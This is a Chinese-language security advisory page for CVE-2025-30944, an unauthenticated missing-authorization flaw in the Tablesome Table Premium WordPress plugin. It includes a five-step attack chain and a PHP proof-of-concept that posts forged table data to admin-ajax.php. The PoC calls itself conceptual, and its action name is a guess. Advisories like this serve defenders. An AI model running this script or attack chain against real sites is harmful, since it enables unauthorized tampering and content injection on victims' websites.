IPBUF安全漏洞报告
English
CVE-2025-30944 CVSS 7.5 高危

CVE-2025-30944:Tablesome Table Premium插件缺失授权漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-30944
漏洞类型
缺失授权/权限绕过(Broken Access Control)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Essekia Tablesome Table Premium(WordPress插件 tablesome-premium)

相关标签

CVE-2025-30944WordPressTablesome Table Premiumtablesome-premium缺失授权Broken Access Control权限绕过ACL绕过AJAX漏洞高危漏洞

漏洞概述

CVE-2025-30944是Essekia公司开发的WordPress插件Tablesome Table Premium(tablesome-premium)中存在的一个高危安全漏洞。该漏洞属于缺失授权(Missing Authorization)类型,也被称为破坏访问控制(Broken Access Control),其CVSS 3.1评分为7.5分,严重等级为HIGH。

该漏洞由Patchstack安全团队的研究员[email protected]发现并报告,于2025年10月22日正式公开披露。漏洞的核心问题在于插件中的某些功能接口未能正确实施访问控制列表(ACL)限制,导致未经身份验证的攻击者可以通过网络远程访问本应受限的功能。由于该漏洞无需任何认证(PR:N)、无需用户交互(UI:N),且攻击向量为网络(AV:N),攻击复杂度低(AC:L),使得该漏洞在实际环境中极易被利用。

根据CVSS向量分析,该漏洞对机密性影响为低(C:L),对完整性影响为高(I:H),对可用性影响为无(A:N)。这意味着攻击者可以利用此漏洞修改或篡改插件中的数据,但不会直接导致服务中断或敏感信息泄露。该漏洞影响tablesome-premium插件从初始版本到1.1.23的所有版本,所有使用该版本范围的用户均面临安全风险。WordPress作为全球使用最广泛的CMS系统,其插件生态的安全问题尤为重要,Tablesome Table Premium作为一款用于创建和管理数据表格的付费插件,被众多企业和个人网站用于展示结构化数据,因此该漏洞的潜在影响范围较大。

技术细节

该漏洞属于典型的Broken Access Control(破坏访问控制)漏洞,常见于WordPress插件开发中由于缺少权限校验或权限校验逻辑缺陷导致的安全问题。

**漏洞原理:**
在WordPress插件开发中,通常使用WordPress提供的AJAX钩子(如wp_ajax_*和wp_ajax_nopriv_*)来处理前端请求。其中wp_ajax_nopriv_*钩子专门用于处理未登录用户的请求,开发者在使用此类钩子时必须自行实现权限校验逻辑。Tablesome Table Premium插件在实现某些功能时,使用了wp_ajax_nopriv_*钩子但未能正确检查当前用户是否具有执行该操作的权限(如管理员权限或特定角色权限),从而导致未认证的攻击者可以直接调用这些功能接口。

**利用方式:**
攻击者只需构造特定的AJAX请求,指向WordPress站点的admin-ajax.php端点,并附带相应的action参数(如插件中暴露的未受保护的操作),即可绕过身份验证直接执行该操作。由于该漏洞无需认证、无需用户交互,且攻击复杂度低,攻击者可以通过自动化工具批量扫描和攻击存在该漏洞的WordPress站点。

**影响范围:**
成功利用此漏洞后,攻击者可以执行插件中受限的管理功能,可能导致表格数据被篡改、恶意内容被注入、敏感配置被修改等后果。虽然CVSS向量显示机密性影响为低,但攻击者可能通过篡改数据间接获取敏感信息或为后续攻击(如钓鱼攻击)创造条件。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者使用搜索引擎(如Shodan、Censys)或WordPress指纹识别工具(如WPScan)扫描互联网上部署了WordPress站点的服务器,识别出安装了Tablesome Table Premium插件(版本<=1.1.23)的目标网站。
STEP 2
步骤2:漏洞验证
攻击者向目标站点的wp-admin/admin-ajax.php端点发送包含特定action参数的AJAX请求,由于插件未对该接口进行权限校验,服务器正常响应并执行了请求的操作,验证漏洞存在。
STEP 3
步骤3:权限绕过
攻击者利用插件中缺失的授权检查逻辑,以未认证身份调用本应仅限管理员或特定角色访问的功能接口,成功绕过WordPress的权限控制系统。
STEP 4
步骤4:恶意操作执行
攻击者通过受保护的接口执行恶意操作,如修改表格内容、注入恶意数据、篡改配置信息或利用该权限进行进一步的数据操纵。
STEP 5
步骤5:影响持久化
攻击者可能通过篡改的数据植入恶意链接、钓鱼内容或后门代码,对网站访问者造成持续性安全威胁,或为后续更深入的攻击(如权限提升、远程代码执行)建立立足点。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-30944 - Tablesome Table Premium Missing Authorization PoC * Description: Exploits broken access control in tablesome-premium <= 1.1.23 * via unauthenticated AJAX endpoint (admin-ajax.php) * Usage: php poc.php <target_url> * Note: This is a conceptual PoC demonstrating the attack vector. * The actual action name and parameters depend on the * specific unprotected AJAX action exposed by the plugin. */ if ($argc < 2) { die("Usage: php poc.php <target_wordpress_url>\n"); } $target = rtrim($argv[1], '/'); $ajax_url = $target . '/wp-admin/admin-ajax.php'; // The plugin registers AJAX actions without proper capability checks. // Replace 'tablesome_action' with the actual unprotected action name. $action = 'tablesome_save_table'; // Crafted payload to invoke the privileged functionality without authentication $payload = http_build_query([ 'action' => $action, 'table_id' => '1', 'table_data' => json_encode([ 'title' => 'Pwned by CVE-2025-30944', 'content' => 'Malicious content injected via broken access control', ]), ]); $ch = curl_init($ajax_url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'], CURLOPT_TIMEOUT => 15, ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[+] Target: $target\n"; echo "[+] Endpoint: $ajax_url\n"; echo "[+] Action: $action\n"; echo "[+] HTTP Status: $http_code\n"; echo "[+] Response: $response\n"; if ($http_code === 200 && stripos($response, 'success') !== false) { echo "[!] Exploit may have succeeded - check the target site.\n"; } else { echo "[-] Exploit may have failed or the action name differs.\n"; } ?>

影响范围

Tablesome Table Premium (tablesome-premium) <= 1.1.23

防御指南

临时缓解措施
在无法立即升级插件版本的情况下,建议采取以下临时缓解措施:1)通过WAF规则限制对wp-admin/admin-ajax.php的未认证POST请求,特别是包含tablesome相关action参数的请求;2)在WordPress的functions.php中添加代码,通过remove_action或限制特定AJAX端点的访问来临时禁用存在问题的功能;3)对网站进行实时监控,关注异常的AJAX请求和数据修改行为;4)限制网站的管理后台访问IP范围;5)备份当前数据和配置,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表